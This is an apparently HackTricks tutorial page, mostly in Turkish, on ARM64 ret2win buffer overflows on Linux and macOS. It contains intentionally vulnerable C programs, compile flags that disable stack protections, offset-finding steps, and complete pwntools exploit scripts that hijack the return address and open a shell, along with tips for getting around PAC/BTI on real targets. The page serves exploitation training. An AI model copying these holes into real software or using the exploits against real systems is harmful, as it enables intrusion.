Ret2win - arm64

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

arm64 hakkında bir giriş için bakınız:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

pie ve canary olmadan derleyin:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Ek bayrak -mbranch-protection=none AArch64 Branch Protection (PAC/BTI) özelliğini devre dışı bırakır. Eğer toolchain’iniz PAC veya BTI’yi varsayılan olarak etkinleştiriyorsa, bu lab’in tekrarlanabilir kalmasını sağlar. Derlenmiş bir binary’nin PAC/BTI kullanıp kullanmadığını kontrol etmek için şunları yapabilirsiniz:
  • AArch64 GNU özelliklerini arayın:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Prolog/epiloglarda paciasp/autiasp (PAC) veya bti c landing pad’leri (BTI) için inceleyin:
  • objdump -d ret2win | head -n 40

AArch64 çağırma düzeni - kısa bilgiler

  • The link register is x30 (a.k.a. lr), and functions typically save x29/x30 with stp x29, x30, [sp, #-16]! and restore them with ldp x29, x30, [sp], #16; ret.
  • Bu, kaydedilmiş dönüş adresinin frame tabanına göre sp+8 konumunda olduğu anlamına gelir. Aşağıya yerleştirilmiş bir char buffer[64] ile, kaydedilmiş x30’a sıradan overwrite mesafesi 64 (buffer) + 8 (kaydedilmiş x29) = 72 byte — tam olarak aşağıda bulacağımız değer.
  • The stack pointer must remain 16‑byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.

Ofset’i bulma

Pattern seçeneği

Bu örnek GEF kullanılarak oluşturuldu:

Stat gdb with gef, create pattern and use it:

gdb -q ./ret2win
pattern create 200
run

arm64, register x30’taki (bozulmuş) adrese dönmeye çalışır; bunu pattern offset’i bulmak için kullanabiliriz:

pattern search $x30

Ofset 72’dir (9x48).

Stack offset seçeneği

pc register’ının saklandığı stack adresini alarak başlayın:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Şimdi read() çağrısından sonra bir breakpoint ayarlayın, read() çalıştırılana kadar continue edin ve 13371337 gibi bir pattern ayarlayın:

b *vulnerable_function+28
c

Bu desenin bellekte nerede saklandığını bulun:

Sonra: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Normal

win fonksiyonunun adresini alın:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Aslında bu, yığında saklanan PC’de bir off-by-2’ye daha çok benzeyecek. Tüm dönüş adresini ezmek yerine sadece son 2 baytını 0x06c4 ile üzerine yazacağız.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ARM64’te başka bir off-by-one örneğini https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/’te bulabilirsiniz; bu, kurgusal bir zafiyette gerçek bir off-by-one’dır.

PIE ile

Tip

Binary’i -no-pie argümanı olmadan derleyin

Off-by-2

Bir leak olmadan win function’ın tam adresini bilmiyoruz ama fonksiyonun binary içindeki offset’ini bilebiliriz ve üzerine yazdığımız return address’in zaten yakın bir adrese işaret ettiğini bildiğimiz için, bu durumda win function’ın offset’ini (0x7d4) leak etmek ve sadece o offset’i kullanmak mümkün:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

canary olmadan derleyin (macOS’te PIE’yi devre dışı bırakamazsınız):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

ASLR olmadan çalıştırın (ancak address leak olduğu için buna ihtiyacımız yok):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

macOS’ta NX’i devre dışı bırakmak mümkün değil çünkü arm64’te bu mod donanım seviyesinde uygulanır; bu yüzden bunu devre dışı bırakamazsınız ve macOS’ta stack’te shellcode içeren örnekler bulamayacaksınız.

Offset’i bulun

  • Bir pattern oluşturun:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Programı çalıştırın ve crash’e neden olacak pattern’i girin:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • x30 register’ını (the return address) kontrol et, offset bulmak için:
(lldb) register read x30
  • cyclic -l <value> kullanarak tam offset’i bulun:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Böylece offset 72’yi buldum; bu offset’e win() fonksiyonunun adresini koyarak fonksiyonu çalıştırabilir ve bir shell elde edebilirsiniz (ASLR kapalıyken).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2. örnek

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

canary olmadan derleyin (macOS’ta PIE’yi devre dışı bırakamazsınız):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

offset’i bulun

  • Dosyaya bir pattern oluşturun: /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Crash oluşturmak için programı çalıştırın:
lldb ./bof_macos
(lldb) run
  • Offset’i bulmak için register x30’ı (return address) kontrol et:
(lldb) register read x30
  • exact offset’ı bulmak için cyclic -l <value> kullanın:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • İşte 72 offset’ini böyle buldum; bu offset’e win() fonksiyonunun adresini koyarsanız, o fonksiyonu çalıştırıp bir shell elde edebilirsiniz (ASLR kapalıyken).

win() adresini hesaplama

  • Binary PIE; leak_anchor() fonksiyonunun leak’ini kullanarak ve leak_anchor() fonksiyonundan win() fonksiyonunun offset’ini bilerek win() fonksiyonunun adresini hesaplayabiliriz.
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:

Offset değeri 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Modern AArch64 hardening (PAC/BTI) ve ret2win hakkında notlar

  • Eğer ikili AArch64 Branch Protection ile derlendiyse, fonksiyon prolog/epiloglarında paciasp/autiasp veya bti c görebilirsiniz. Bu durumda:
  • Geçerli bir BTI landing pad olmayan bir adrese dönmek SIGILL oluşturabilir. bti c içeren tam fonksiyon girişini hedeflemeyi tercih edin.
  • Eğer PAC dönüşler için etkinse, basit dönüş adresi üzerine yazmalar başarısız olabilir çünkü epilog x30’u doğrular. Öğrenme senaryoları için -mbranch-protection=none ile yeniden derleyin (yukarıda gösterildi). Gerçek hedeflere saldırırken, return hırsızlıkları yerine non‑return hırsızlıklarını tercih edin (ör. function pointer overwrite’ları) veya sahte LR’nizi doğrulayan bir autiasp/ret çiftini asla çalıştırmayan bir ROP inşa edin.
  • Özellikleri hızlıca kontrol etmek için:
  • readelf --notes -W ./ret2win ve AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC notlarını arayın.
  • objdump -d ./ret2win | head -n 40 ve bti c, paciasp, autiasp’ı arayın.

non‑ARM64 ana makinelerde çalıştırma (qemu‑user hızlı ipucu)

Eğer x86_64 üzerindeyseniz ama AArch64 pratiği yapmak istiyorsanız:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

İlgili HackTricks sayfaları

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Kaynaklar

  • AArch64 üzerinde Linux için PAC ve BTI’yi Etkinleştirme (Arm Community, Kas 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Arm 64-bit Mimarisi için Prosedür Çağrı Standardı (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin